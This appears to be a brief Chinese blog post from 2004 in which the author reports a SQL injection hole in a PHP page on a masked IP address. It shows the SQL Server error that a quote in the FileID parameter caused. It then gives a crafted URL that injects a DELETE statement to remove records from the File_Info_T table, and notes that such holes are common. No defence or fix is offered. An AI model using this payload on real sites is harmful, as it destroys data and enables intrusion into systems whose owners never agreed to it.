前一阵子,发现了一些漏洞 http://XXX.XXX.XXX.XXX/display/read.php?FileID=951' Warning: SQL error: [Microsoft][ODBC SQL Server Driver][SQL Server]第 1 行: '\' 附近有语法错误。, SQL state 37000 in SQLExecDirect in D:\www\include\odbc.inc on line 60 Database error: Invalid SQL: SELECT FileID,Title,Author,FileType,Content,CourseID,PubClass, MediaType,InputTime,TopicCode FROM File_Info_T WHERE (FileID=997\') ODBC Error: 1 (General Error (The ODBC interface cannot return detailed error messages).) Session halted. FileID没有过滤才会出现这个结果,我想如果这样提交URL: http://XXX.XXX.XXX.XXX/display/read.php?FileID=951)%20delete%20File_Info_T%20where%20(FileID=951 就可以删这个信息了...

这种漏洞太多了。。

http://blog.csdn.net/griefforyou/archive/2004/07/04/loudong.aspx